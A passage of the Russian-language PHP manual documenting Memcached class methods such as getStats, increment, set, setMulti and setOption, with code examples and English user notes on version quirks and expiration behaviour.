Just to clarify (as documentation of memcached, even for C lib, frankly is quite lacking), $server_key is hashed using same method as regular keys for values (I checked C source, as again docs......). So you should be able to see where set($key, $value) goes by using getServerByKey($key) with same key. This can be useful if one does not wish to bother with using/has no need to use *ByKey functions, but still want to know which servers are/should be used with regular keys, for implementing fallback or failure reporting.
zhaoyong dot lc at gmail dot com 29-Mar-2013 06:32
The parameter server_key is very confusing, it's not a server key for MemCached Server, but it's key,in key-value pair which you stored in server.

<?php
$m = new Memcached;
$m->addServers(array(
    array('127.0.0.1',11212),
    array('127.0.0.1',11211)
));
for($i=0;$i<10;$i++){
    $key = 'key_'.$i;
    $m->add($key, 1);
}
for($i=0;$i<10;$i++) {
    $key = 'key_'.$i;
    $arr = $m->getServerByKey($key);
    echo ($key.":\t".$arr['port']."\n");
}
?>

key_0:  11212
key_1:  11211
key_2:  11212
key_3:  11212
key_4:  11212
key_5:  11211
key_6:  11211
key_7:  11212
key_8:  11212
key_9:  11211


Получает список серверов в пуле

  • « Memcached::getServerByKey
  • Memcached::getStats »
  • PHP Manual
  • Memcached
  • Получает список серверов в пуле

Memcached::getServerList

(PECL memcached >= 0.1.0)

Memcached::getServerList — Получает список серверов в пуле

Описание

public Memcached::getServerList(): array

Memcached::getServerList() возвращает список всех серверов, которые находятся в пуле.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Список серверов в пуле.

Примеры

Пример #1 Пример использования Memcached::getServerList()

<?php
$m = new Memcached();
$m->addServers(array(
array('mem1.domain.com', 11211, 20),
array('mem2.domain.com', 11311, 80),
));
var_dump($m->getServerList());
?>

Результат выполнения данного примера:

array(2) {
  [0]=>
  array(3) {
    ["host"]=>
    string(15) "mem1.domain.com"
    ["port"]=>
    int(11211)
    ["weight"]=>
    int(20)
  }
  [1]=>
  array(3) {
    ["host"]=>
    string(15) "mem2.domain.com"
    ["port"]=>
    int(11311)
    ["weight"]=>
    int(80)
  }
}

User Contributed Notes

rynop 21-Jan-2013 02:58
This method no longer returns 'weight' in v2.1.0: https://github.com/php-memcached-dev/php-memcached/pull/56


Получает статистику о серверах в пуле

  • « Memcached::getServerList
  • Memcached::getVersion »
  • PHP Manual
  • Memcached
  • Получает статистику о серверах в пуле

Memcached::getStats

(PECL memcached >= 0.1.0)

Memcached::getStats — Получает статистику о серверах в пуле

Описание

public Memcached::getStats(?string $type = null): array|false

Memcached::getStats() возвращает массив, содержащий статистику всех доступных memcache серверов. Ознакомьтесь также со спецификацией » memcache протокола для получения полной информации об этой статистике.

Список параметров

type

Тип статистики, которую необходимо получить.

Возвращаемые значения

Список массивов со статистикой по каждому серверу, где каждый элемент - отдельный сервер или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования Memcached::getStats()

<?php
$m = new Memcached();
$m->addServer('localhost', 11211);

print_r($m->getStats());
?>

Результатом выполнения данного примера будет что-то подобное:

Array
(
    [localhost:11211] => Array
        (
            [pid] => 4933
            [uptime] => 786123
            [threads] => 1
            [time] => 1233868010
            [pointer_size] => 32
            [rusage_user_seconds] => 0
            [rusage_user_microseconds] => 140000
            [rusage_system_seconds] => 23
            [rusage_system_microseconds] => 210000
            [curr_items] => 145
            [total_items] => 2374
            [limit_maxbytes] => 67108864
            [curr_connections] => 2
            [total_connections] => 151
            [connection_structures] => 3
            [bytes] => 20345
            [cmd_get] => 213343
            [cmd_set] => 2381
            [get_hits] => 204223
            [get_misses] => 9120
            [evictions] => 0
            [bytes_read] => 9092476
            [bytes_written] => 15420512
            [version] => 1.2.6
        )

)

User Contributed Notes

Anonymous 13-Mar-2017 07:59
new url for memcache protocol documents.
https://github.com/memcached/memcached/blob/master/doc/protocol.txt
billfeller at gmail dot com 31-Oct-2013 08:27
the link to memcache protocol is out date. the new link is https://github.com/facebook/memcached/blob/master/doc/protocol.txt
ar knownat plista with com 17-Dec-2009 11:13
The method currently does not support the optional (and subject to change) type parameter for the stats command:
 - "items", "sizes", "slabs"

The documentation for the optional parameters can be found here (sections below General-purpose statistics):
http://code.sixapart.com/svn/memcached/trunk/server/doc/protocol.txt

The Memcache Extension can be uses to retrieve that information:
http://www.php.net/manual/en/function.memcache-getstats.php


Получает информацию о версии серверов в пуле

  • « Memcached::getStats
  • Memcached::increment »
  • PHP Manual
  • Memcached
  • Получает информацию о версии серверов в пуле

Memcached::getVersion

(PECL memcached >= 0.1.5)

Memcached::getVersion — Получает информацию о версии серверов в пуле

Описание

public Memcached::getVersion(): array|false

Memcached::getVersion() возвращает массив, содержащий информацию о версии каждого доступного memcache сервера.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Список массивов с информацией о версии по каждому серверу, где каждый элемент- отдельный сервер.

Примеры

Пример #1 Пример использования Memcached::getVersion()

<?php
$m = new Memcached();
$m->addServer('localhost', 11211);

print_r($m->getVersion());
?>

Результатом выполнения данного примера будет что-то подобное:

Array
(
    [localhost:11211] => 1.2.6
)

User Contributed Notes

Mads Madsen 01-Mar-2013 09:50
Was going mad, I figured getStatus() would return false on servers not responding. This is however not true, it will return:
array(1) {
  ["127.0.0.1:11112"]=>
  string(11) "255.255.255"
}
On a failed connection.


Увеличивает числовое значение записи

  • « Memcached::getVersion
  • Memcached::incrementByKey »
  • PHP Manual
  • Memcached
  • Увеличивает числовое значение записи

Memcached::increment

(PECL memcached >= 0.1.0)

Memcached::increment — Увеличивает числовое значение записи

Описание

public Memcached::increment(
string $key,
int $offset = 1,
int $initial_value = 0,
int $expiry = 0
): int|false

Memcached::increment() увеличивает числовое значение записи на величину, указанную в параметре offset. Если запись содержит не числовое значение, то будет возвращена ошибка. Метод Memcached::increment() установит записи значение, переданное в initial_value, если записи с указанным ключом не существует.

Список параметров

key

Ключ увеличиваемой записи.

offset

Величина на которую происходит увеличение значения записи.

initial_value

Инициирующее значение, которое будет установлено записи, если переданного ключа не существует.

expiry

Время, когда срок действия записи истекает.

Возвращаемые значения

Возвращает новое значение записи в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования Memcached::increment()

<?php
$m = new Memcached();
$m->addServer('localhost', 11211);

$m->set('counter', 0);
$m->increment('counter');
$n = $m->increment('counter', 10);
var_dump($n);

$m->set('counter', 'abc');
$n = $m->increment('counter');
// Завершится неудачей т.к. значение записи не является числовым
var_dump($n);
?>

Результат выполнения данного примера:

int(11)
bool(false)

Смотрите также

  • Memcached::decrement() - Уменьшает числовое значение записи
  • Memcached::decrementByKey() - Уменьшает числовое значение записи, хранящееся на определённом сервере
  • Memcached::incrementByKey() - Увеличивает числовое значение записи, хранимой на указанном сервере

User Contributed Notes

Anonymous 17-Aug-2013 11:46
If it'll save others some head-scratching, the PECL Memcached extension only supports initializing increment (or decrement) values from 2.0.0b2 onwards - i.e. not the version (1.0.2) that comes out of the box with Ubuntu 12.04.
Anonymous 23-Jan-2013 08:27
Spent a long time frustrated with this.  If you read the patch notes carefully:

- Make increment/decrement initialize value when it is not available (when using binary protocol).

If you dont have the opt binary protocol set the arguments for initial value just return an error 38 - INVALID ARGUMENTS. This is not documented.
jbaginski 18-Jan-2013 07:29
PECL memcached < 0.2.0

public int Memcached::increment ( string $key [, int $offset = 1 ] )
Sam 30-Jun-2012 12:50
increment does not alter the time to live of the object.


Увеличивает числовое значение записи, хранимой на указанном сервере

  • « Memcached::increment
  • Memcached::isPersistent »
  • PHP Manual
  • Memcached
  • Увеличивает числовое значение записи, хранимой на указанном сервере

Memcached::incrementByKey

(PECL memcached >= 2.0.0)

Memcached::incrementByKey — Увеличивает числовое значение записи, хранимой на указанном сервере

Описание

public Memcached::incrementByKey(
string $server_key,
string $key,
int $offset = 1,
int $initial_value = 0,
int $expiry = 0
): int|false

Memcached::incrementByKey() увеличивает числовое значение записи на величину, указанную в параметре offset. Если значение записи не является числовым, то будет возвращена ошибка. Memcached::incrementByKey() установит записи значение параметра initial_value если переданного ключа не существует.

Список параметров

server_key

Ключ, идентифицирующий сервер, на котором хранится значение. Вместо хеширования по ключу самого элемента, мы хешируем по ключу сервера при выборе подключаемого сервера memcached. Данный подход позволяет группировать связанные элементы вместе на одном сервере, что улучшает эффективность групповых операций.

key

Ключ увеличиваемой записи

offset

Величина на которую происходит увеличение значения записи.

initial_value

Инициирующее значение, которое будет установлено записи, если переданного ключа не существует.

expiry

Время, когда срок действия записи истекает.

Возвращаемые значения

Возвращает новое значение записи в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • Memcached::decrement() - Уменьшает числовое значение записи
  • Memcached::decrementByKey() - Уменьшает числовое значение записи, хранящееся на определённом сервере
  • Memcached::increment() - Увеличивает числовое значение записи

User Contributed Notes

There are no user contributed notes for this page.


Проверяет используется ли устойчивое соединение с сервером memcache

  • « Memcached::incrementByKey
  • Memcached::isPristine »
  • PHP Manual
  • Memcached
  • Проверяет используется ли устойчивое соединение с сервером memcache

Memcached::isPersistent

(PECL memcached >= 2.0.0)

Memcached::isPersistent — Проверяет используется ли устойчивое соединение с сервером memcache

Описание

public Memcached::isPersistent(): bool

Memcached::isPersistent() проверяет является ли соединение с серверами memcache устойчивым т.е. сохраняющимся между запросами.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true, если экземпляр класса Memcache использует устойчивое соединение, в противном случае возвращает false.

Смотрите также

  • Memcached::isPristine() - Проверяет создан ли уже экземпляр класса Memcached

User Contributed Notes

There are no user contributed notes for this page.


Проверяет создан ли уже экземпляр класса Memcached

  • « Memcached::isPersistent
  • Memcached::prepend »
  • PHP Manual
  • Memcached
  • Проверяет создан ли уже экземпляр класса Memcached

Memcached::isPristine

(PECL memcached >= 2.0.0)

Memcached::isPristine — Проверяет создан ли уже экземпляр класса Memcached

Описание

public Memcached::isPristine(): bool

Memcached::isPristine() проверяет создан ли экземпляр класса Memcache

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true, если экземпляр класса уже создан, в противном случае возвращает false.

Смотрите также

  • Memcached::isPersistent() - Проверяет используется ли устойчивое соединение с сервером memcache

User Contributed Notes

vick dot qi at yahoo dot com 26-Jul-2016 03:37
From the source code of contructor, the "recently" means the connection to server of the instence is recently created, that is the instance was created without a persistent_id parameter or the first to use the persistent_id.

For instance, the gives a bool(true):

$memcached = new Memcached();
$isPristine = $memcached->isPristine();
var_dump($isPristine);

This also gives a bool(true):

$memcached = new Memcached('pid1');
$isPristine = $memcached->isPristine();
var_dump($isPristine);

while this gives a bool(false):

$memcached = new Memcached('pid1');
$memcached2 = new Memcached('pid1');
$isPristine = $memcached2->isPristine();
var_dump($isPristine);
gerben at gerbs dot net 24-Dec-2015 10:18
How is the return value determined? What is the definition of 'recently'? Does this function return true if the item was stored using the current connection?


Добавляет данные в начало существующей записи

  • « Memcached::isPristine
  • Memcached::prependByKey »
  • PHP Manual
  • Memcached
  • Добавляет данные в начало существующей записи

Memcached::prepend

(PECL memcached >= 0.1.0)

Memcached::prepend — Добавляет данные в начало существующей записи

Описание

public Memcached::prepend(string $key, string $value): ?bool

Memcached::prepend() добавляет строку, переданную в параметре value в начало существующей записи. Причина того что value приводится к строковому типу в том, что добавление значения в начало комплексных типов не определено.

Замечание:

Если установлен параметр Memcached::OPT_COMPRESSION, то выполнение данного метода завершится неудачей и будет выведено предупреждение, потому что добавление сжатых данных к значению, которое возможно уже сжато, невозможно.

Список параметров

key

Ключ записи к которой происходит добавление в начало.

value

Добавляемая строка.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки. Возвращает null, если сжатие включено.

Ошибки

Возвращает null и выдаёт ошибку уровня E_WARNING, если сжатие включено.

Примеры

Пример #1 Пример использования Memcached::prepend()

<?php
$m = new Memcached();
$m->addServer('localhost', 11211);
$m->setOption(Memcached::OPT_COMPRESSION, false);

$m->set('foo', 'abc');
$m->prepend('foo', 'def');
var_dump($m->get('foo'));
?>

Результат выполнения данного примера:

string(6) "defabc"

Смотрите также

  • Memcached::prependByKey() - Добавляет данные в начало существующей записи на указанном сервере
  • Memcached::append() - Добавляет данные к существующей записи

User Contributed Notes

There are no user contributed notes for this page.


Добавляет данные в начало существующей записи на указанном сервере

  • « Memcached::prepend
  • Memcached::quit »
  • PHP Manual
  • Memcached
  • Добавляет данные в начало существующей записи на указанном сервере

Memcached::prependByKey

(PECL memcached >= 0.1.0)

Memcached::prependByKey — Добавляет данные в начало существующей записи на указанном сервере

Описание

public Memcached::prependByKey(string $server_key, string $key, string $value): ?bool

Memcached::prependByKey() работает аналогично Memcached::prepend(), за исключением того, что произвольный server_key может быть использован для определения сервера и установки значения с ключом key на конкретный сервер.

Список параметров

server_key

Ключ, идентифицирующий сервер, на котором хранится значение. Вместо хеширования по ключу самого элемента, мы хешируем по ключу сервера при выборе подключаемого сервера memcached. Данный подход позволяет группировать связанные элементы вместе на одном сервере, что улучшает эффективность групповых операций.

key

Ключ записи к которой происходит добавление в начало.

value

Добавляемая строка.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки. Возвращает null, если сжатие включено.

Ошибки

Возвращает null и выдаёт ошибку уровня E_WARNING, если сжатие включено.

Смотрите также

  • Memcached::prepend() - Добавляет данные в начало существующей записи
  • Memcached::append() - Добавляет данные к существующей записи

User Contributed Notes

There are no user contributed notes for this page.


Закрывает все открытые соединения

  • « Memcached::prependByKey
  • Memcached::replace »
  • PHP Manual
  • Memcached
  • Закрывает все открытые соединения

Memcached::quit

(PECL memcached >= 2.0.0)

Memcached::quit — Закрывает все открытые соединения

Описание

public Memcached::quit(): bool

Memcached::quit() закрывает все открытые соединения с серверами memcache.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Заменяет существующую запись с указанным ключом

  • « Memcached::quit
  • Memcached::replaceByKey »
  • PHP Manual
  • Memcached
  • Заменяет существующую запись с указанным ключом

Memcached::replace

(PECL memcached >= 0.1.0)

Memcached::replace — Заменяет существующую запись с указанным ключом

Описание

public Memcached::replace(string $key, mixed $value, int $expiration = 0): bool

Memcached::replace() похож на метод Memcached::set(), но операция завершится неудачей в случае, если ключ key отсутствует на сервере.

Список параметров

key

Ключ, под которым сохраняется значение.

value

Сохраняемое значение.

expiration

Время хранения объекта, по умолчанию равно 0. Для более подробной информации смотрите Время хранения объекта.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки. Метод Memcached::getResultCode() возвращает Memcached::RES_NOTSTORED если указанного ключа не существует.

Смотрите также

  • Memcached::replaceByKey() - Заменяет существующую запись с заданным ключом на указанном сервере
  • Memcached::set() - Сохраняет запись
  • Memcached::add() - Добавляет элемент с новым ключом

User Contributed Notes

There are no user contributed notes for this page.


Заменяет существующую запись с заданным ключом на указанном сервере

  • « Memcached::replace
  • Memcached::resetServerList »
  • PHP Manual
  • Memcached
  • Заменяет существующую запись с заданным ключом на указанном сервере

Memcached::replaceByKey

(PECL memcached >= 0.1.0)

Memcached::replaceByKey — Заменяет существующую запись с заданным ключом на указанном сервере

Описание

public Memcached::replaceByKey(
string $server_key,
string $key,
mixed $value,
int $expiration = 0
): bool

Memcached::replaceByKey() работает аналогично Memcached::replace(), за исключением того, что произвольный server_key может быть использован для определения сервера и установки значения с ключом key на конкретный сервер. Это полезно когда необходимо держать несколько связанных значений на конкретном сервере.

Список параметров

server_key

Ключ, идентифицирующий сервер, на котором хранится значение. Вместо хеширования по ключу самого элемента, мы хешируем по ключу сервера при выборе подключаемого сервера memcached. Данный подход позволяет группировать связанные элементы вместе на одном сервере, что улучшает эффективность групповых операций.

key

Ключ, под которым сохраняется значение.

value

Сохраняемое значение.

expiration

Время хранения объекта, по умолчанию равно 0. Для более подробной информации смотрите Время хранения объекта.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки. Метод Memcached::getResultCode() возвращает Memcached::RES_NOTSTORED если указанного ключа не существует.

Смотрите также

  • Memcached::replace() - Заменяет существующую запись с указанным ключом
  • Memcached::set() - Сохраняет запись
  • Memcached::add() - Добавляет элемент с новым ключом

User Contributed Notes

There are no user contributed notes for this page.


Очищает список серверов

  • « Memcached::replaceByKey
  • Memcached::set »
  • PHP Manual
  • Memcached
  • Очищает список серверов

Memcached::resetServerList

(PECL memcached >= 2.0.0)

Memcached::resetServerList — Очищает список серверов

Описание

public Memcached::resetServerList(): bool

Memcached::resetserverlist() удаляет все сервера memcache из пула, делая его снова пустым.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • Memcached::addServer() - Добавляет сервер в пул
  • Memcached::addServers() - Добавляет несколько серверов в пул

User Contributed Notes

There are no user contributed notes for this page.


Сохраняет запись

  • « Memcached::resetServerList
  • Memcached::setByKey »
  • PHP Manual
  • Memcached
  • Сохраняет запись

Memcached::set

(PECL memcached >= 0.1.0)

Memcached::set — Сохраняет запись

Описание

public Memcached::set(string $key, mixed $value, int $expiration = 0): bool

Memcached::set() сохраняет значение value на memcache сервере под указанным ключом key. Параметр expiration может быть использован для контроля, когда срок действия значения считается истёкшим.

Значение может быть любым доступным в PHP типом, кроме ресурса, потому что этот тип не может быть представлен в сериализованном виде. Если установлен параметр Memcached::OPT_COMPRESSION, то сериализованное значение будет также сжато перед сохранением.

Список параметров

key

Ключ, под которым сохраняется значение.

value

Сохраняемое значение.

expiration

Время хранения объекта, по умолчанию равно 0. Для более подробной информации смотрите Время хранения объекта.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки. Используйте при необходимости Memcached::getResultCode().

Примеры

Пример #1 Пример использования Memcached::set()

<?php
$m = new Memcached();
$m->addServer('localhost', 11211);

$m->set('int', 99);
$m->set('string', 'a simple string');
$m->set('array', array(11, 12));
/* время хранения записи с ключом 'object' установлено в 5 минут */
$m->set('object', new stdClass, time() + 300);

var_dump($m->get('int'));
var_dump($m->get('string'));
var_dump($m->get('array'));
var_dump($m->get('object'));
?>

Результатом выполнения данного примера будет что-то подобное:

int(99)
string(15) "a simple string"
array(2) {
  [0]=>
  int(11)
  [1]=>
  int(12)
}
object(stdClass)#1 (0) {
}

Смотрите также

  • Memcached::setByKey() - Сохраняет запись на указанном сервере
  • Memcached::add() - Добавляет элемент с новым ключом
  • Memcached::replace() - Заменяет существующую запись с указанным ключом

User Contributed Notes

HaxxxxaH 05-May-2016 05:44
@PeterN

You said that this was wrong:
$m->set('object', new stdclass, time() + 300);

And instead this is the correct way:
$m->set('object', new stdclass, 300);

When actually, they are both correct. Expiration looks at the time given, if the number is less than or equal to 30 days(60 * 60 * 24 * 30 = 2,592,000), then it expires in that many seconds. If the number is greater than 30 days, then it expires at that UNIX time.
PeterN 16-Oct-2015 11:48
In the example it shows:

/* expire 'object' key in 5 minutes */
$m->set('object', new stdclass, time() + 300);

But this is wrong.
It will not expire, at least, not for a long long time.
So instead of time() + seconds, you use:
$m->set('object', new stdclass, 300);
And it will correctly expire after 5 minutes.

Note: Using memcached 2.1.0 stable through PECL.
Anonymous 18-Mar-2014 03:22
00 = MEMCACHED_SUCCESS
01 = MEMCACHED_FAILURE
02 = MEMCACHED_HOST_LOOKUP_FAILURE // getaddrinfo() and getnameinfo() only
03 = MEMCACHED_CONNECTION_FAILURE
04 = MEMCACHED_CONNECTION_BIND_FAILURE // DEPRECATED see MEMCACHED_HOST_LOOKUP_FAILURE
05 = MEMCACHED_WRITE_FAILURE
06 = MEMCACHED_READ_FAILURE
07 = MEMCACHED_UNKNOWN_READ_FAILURE
08 = MEMCACHED_PROTOCOL_ERROR
09 = MEMCACHED_CLIENT_ERROR
10 = MEMCACHED_SERVER_ERROR // Server returns "SERVER_ERROR"
11 = MEMCACHED_ERROR // Server returns "ERROR"
12 = MEMCACHED_DATA_EXISTS
13 = MEMCACHED_DATA_DOES_NOT_EXIST
14 = MEMCACHED_NOTSTORED
15 = MEMCACHED_STORED
16 = MEMCACHED_NOTFOUND
17 = MEMCACHED_MEMORY_ALLOCATION_FAILURE
18 = MEMCACHED_PARTIAL_READ
19 = MEMCACHED_SOME_ERRORS
20 = MEMCACHED_NO_SERVERS
21 = MEMCACHED_END
22 = MEMCACHED_DELETED
23 = MEMCACHED_VALUE
24 = MEMCACHED_STAT
25 = MEMCACHED_ITEM
26 = MEMCACHED_ERRNO
27 = MEMCACHED_FAIL_UNIX_SOCKET // DEPRECATED
28 = MEMCACHED_NOT_SUPPORTED
29 = MEMCACHED_NO_KEY_PROVIDED /* Deprecated. Use MEMCACHED_BAD_KEY_PROVIDED! */
30 = MEMCACHED_FETCH_NOTFINISHED
31 = MEMCACHED_TIMEOUT
32 = MEMCACHED_BUFFERED
33 = MEMCACHED_BAD_KEY_PROVIDED
34 = MEMCACHED_INVALID_HOST_PROTOCOL
35 = MEMCACHED_SERVER_MARKED_DEAD
36 = MEMCACHED_UNKNOWN_STAT_KEY
37 = MEMCACHED_E2BIG
38 = MEMCACHED_INVALID_ARGUMENTS
39 = MEMCACHED_KEY_TOO_BIG
40 = MEMCACHED_AUTH_PROBLEM
41 = MEMCACHED_AUTH_FAILURE
42 = MEMCACHED_AUTH_CONTINUE
43 = MEMCACHED_PARSE_ERROR
44 = MEMCACHED_PARSE_USER_ERROR
45 = MEMCACHED_DEPRECATED
46 = MEMCACHED_IN_PROGRESS
47 = MEMCACHED_SERVER_TEMPORARILY_DISABLED
48 = MEMCACHED_SERVER_MEMORY_ALLOCATION_FAILURE
49 = MEMCACHED_MAXIMUM_RETURN /* Always add new error code before */
11 = MEMCACHED_CONNECTION_SOCKET_CREATE_FAILURE = MEMCACHED_ERROR
Matthew Minix 14-Nov-2013 04:59
Unlike Memcache, Memcached will not replace spaces in keys with underscores for you, and will instead send the key as provided which will cause an error that can result in keys and values being mismatched.  You can avoid this problem by removing/replacing spaces before storage or setting the option Memcached::OPT_BINARY_PROTOCOL to true.
miha at hribar dot info 16-Jul-2009 08:26
The method correctly returns false if you set the value to false. This means that in order to have proper fault checking mechanism in place you need to check the result code.

<?php
$Memcached = new Memcached();
$Memcached->addServer('localhost', 11211);
$Memcached->set('key', false);
var_dump($Memcached->get('key'));      // boolean false
var_dump($Memcached->getResultCode()); // int 0 which is  Memcached::RES_SUCCESS
?>


Сохраняет запись на указанном сервере

  • « Memcached::set
  • Memcached::setMulti »
  • PHP Manual
  • Memcached
  • Сохраняет запись на указанном сервере

Memcached::setByKey

(PECL memcached >= 0.1.0)

Memcached::setByKey — Сохраняет запись на указанном сервере

Описание

public Memcached::setByKey(
string $server_key,
string $key,
mixed $value,
int $expiration = 0
): bool

Memcached::setByKey() работает аналогично Memcached::set(), за исключением того, что произвольный server_key может быть использован для определения сервера и установки значения с ключом key на конкретный сервер. Это полезно когда необходимо держать несколько связанных значений на конкретном сервере.

Список параметров

server_key

Ключ, идентифицирующий сервер, на котором хранится значение. Вместо хеширования по ключу самого элемента, мы хешируем по ключу сервера при выборе подключаемого сервера memcached. Данный подход позволяет группировать связанные элементы вместе на одном сервере, что улучшает эффективность групповых операций.

key

Ключ, под которым сохраняется значение.

value

Сохраняемое значение.

expiration

Время хранения объекта, по умолчанию равно 0. Для более подробной информации смотрите Время хранения объекта.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки. Используйте при необходимости Memcached::getResultCode().

Примеры

Пример #1 Пример использования Memcached::setByKey()

<?php
$m = new Memcached();
$m->addServer('localhost', 11211);

/* Хранение блоков IP адресов на определённом сервере */
$m->setByKey('api-cache', 'block-ip:169.254.253.252', 1);
$m->setByKey('api-cache', 'block-ip:169.127.127.202', 1);
?>

Смотрите также

  • Memcached::set() - Сохраняет запись

User Contributed Notes

There are no user contributed notes for this page.


Сохраняет несколько записей

  • « Memcached::setByKey
  • Memcached::setMultiByKey »
  • PHP Manual
  • Memcached
  • Сохраняет несколько записей

Memcached::setMulti

(PECL memcached >= 0.1.0)

Memcached::setMulti — Сохраняет несколько записей

Описание

public Memcached::setMulti(array $items, int $expiration = 0): bool

Memcached::setMulti() похож на метод Memcached::set(), но вместо одной пары ключ/значение, работает с несколькими записями, переданными в items в виде массива. Параметр expiration, устанавливающий срок хранения записи, применяется ко всем записям.

Список параметров

items

Сохраняемый массив пар ключей/значений.

expiration

Время хранения объекта, по умолчанию равно 0. Для более подробной информации смотрите Время хранения объекта.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки. Используйте при необходимости Memcached::getResultCode().

Примеры

Пример #1 Пример использования Memcached::setMulti()

<?php
$m = new Memcached();
$m->addServer('localhost', 11211);

$items = array(
'key1' => 'value1',
'key2' => 'value2',
'key3' => 'value3'
);
$m->setMulti($items, time() + 300);
?>

Смотрите также

  • Memcached::setMultiByKey() - Сохраняет несколько записей на указанном сервере
  • Memcached::set() - Сохраняет запись

User Contributed Notes

nulll 02-Feb-2018 01:57
The previous comment is from April 2013, it has a link pointing on current master, so things are changed since 2013 in the source code.

Maybe the right link is
https://github.com/php-memcached-dev/php-memcached/blob/80cb21467a1db6b7b18725df586f11801c823695/php_memcached.c#L1219

By the way, can someone skilled in C confirm the "fake setMulti" problem?
Nicolas 03-Apr-2013 04:51
This is what the previous comment (fake set multi):

https://github.com/php-memcached-dev/php-memcached/blob/master/php_memcached.c#L1219
jooonic at googlemail dot com 25-Aug-2010 01:10
Dont expect setmulti is faster then multiple SETs!
It doesn't use the setmulti lib function, it iterats over every key and send him alone.
I can't find any php implementation with setmulti support (needs support for memcached's binary protocol, remember php's "memcache"-extension only supports text-protocol).
Thats bad, not enought throughput to membase.
So i have to use redis instead, coz of its support for get/set multi.


Сохраняет несколько записей на указанном сервере

  • « Memcached::setMulti
  • Memcached::setOption »
  • PHP Manual
  • Memcached
  • Сохраняет несколько записей на указанном сервере

Memcached::setMultiByKey

(PECL memcached >= 0.1.0)

Memcached::setMultiByKey — Сохраняет несколько записей на указанном сервере

Описание

public Memcached::setMultiByKey(string $server_key, array $items, int $expiration = 0): bool

Memcached::setMultiByKey() работает аналогично Memcached::setMulti(), за исключением того, что произвольный server_key может быть использован для определения сервера и установки значения с ключом key на конкретный сервер. Это полезно когда необходимо держать несколько связанных значений на конкретном сервере.

Список параметров

server_key

Ключ, идентифицирующий сервер, на котором хранится значение. Вместо хеширования по ключу самого элемента, мы хешируем по ключу сервера при выборе подключаемого сервера memcached. Данный подход позволяет группировать связанные элементы вместе на одном сервере, что улучшает эффективность групповых операций.

items

Сохраняемый массив пар ключей/значений.

expiration

Время хранения объекта, по умолчанию равно 0. Для более подробной информации смотрите Время хранения объекта.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки. Используйте при необходимости Memcached::getResultCode().

Смотрите также

  • Memcached::setMulti() - Сохраняет несколько записей
  • Memcached::set() - Сохраняет запись

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает значение параметра для Memcached

  • « Memcached::setMultiByKey
  • Memcached::setOptions »
  • PHP Manual
  • Memcached
  • Устанавливает значение параметра для Memcached

Memcached::setOption

(PECL memcached >= 0.1.0)

Memcached::setOption — Устанавливает значение параметра для Memcached

Описание

public Memcached::setOption(int $option, mixed $value): bool

Метод устанавливает значение параметра для Memcached, переданного в option. Некоторые параметры определены в библиотеке libmemcached, а некоторые указаны в модуле.

Список параметров

option

Одна из констант Memcached::OPT_*. Изучите раздел константы Memcached для получения более полной информации.

value

Значение, которое необходимо установить.

Замечание:

Параметры, перечисленные ниже, требуют значений, указанных с помощью констант.

  • Memcached::OPT_HASH требует Memcached::HASH_* значений.
  • Memcached::OPT_DISTRIBUTION требует Memcached::DISTRIBUTION_* значений.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Устанавливает Memcached параметр

<?php
$m = new Memcached();
var_dump($m->getOption(Memcached::OPT_HASH) == Memcached::HASH_DEFAULT);
$m->setOption(Memcached::OPT_HASH, Memcached::HASH_MURMUR);
$m->setOption(Memcached::OPT_PREFIX_KEY, "widgets");
echo "Prefix key is now: ", $m->getOption(Memcached::OPT_PREFIX_KEY), "\n";
?>

Результат выполнения данного примера:

bool(true)
Prefix key is now: widgets

Смотрите также

  • Memcached::getOption() - Получает значение Memcached параметра
  • Memcached::setOptions() - Устанавливает несколько Memcached параметров
  • Memcached константы

User Contributed Notes

Harry Fuecks 26-May-2010 01:25
Be warned that setting the option Memcached::OPT_DISTRIBUTION to Memcached::DISTRIBUTION_CONSISTENT can carry a significant performance hit so is best used with persistent connections. More details at http://github.com/andreiz/php-memcached/issues#issue/14


Устанавливает несколько Memcached параметров

  • « Memcached::setOption
  • Memcached::setSaslAuthData »
  • PHP Manual
  • Memcached
  • Устанавливает несколько Memcached параметров

Memcached::setOptions

(PECL memcached >= 2.0.0)

Memcached::setOptions — Устанавливает несколько Memcached параметров

Описание

public Memcached::setOptions(array $options): bool

Memcached::setOptions() аналогичен методу Memcached::setOption(), но принимает массив параметров.

Список параметров

options

Ассоциативный массив с параметрами, где в качестве ключа выступает название параметра, а в качестве значения- новое значение данного параметра.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Устанавливает несколько Memcached параметров

<?php
$m = new Memcached();
var_dump($m->getOption(Memcached::OPT_HASH) == Memcached::HASH_DEFAULT);

$m->setOptions(array(Memcached::OPT_HASH => Memcached::HASH_MURMUR, Memcached::OPT_PREFIX_KEY => "widgets"));

var_dump($m->getOption(Memcached::OPT_HASH) == Memcached::HASH_DEFAULT);
echo "Prefix key is now: ", $m->getOption(Memcached::OPT_PREFIX_KEY), "\n";
?>

Результат выполнения данного примера:

bool(true)
bool(false)
Prefix key is now: widgets

Смотрите также

  • Memcached::getOption() - Получает значение Memcached параметра
  • Memcached::setOption() - Устанавливает значение параметра для Memcached
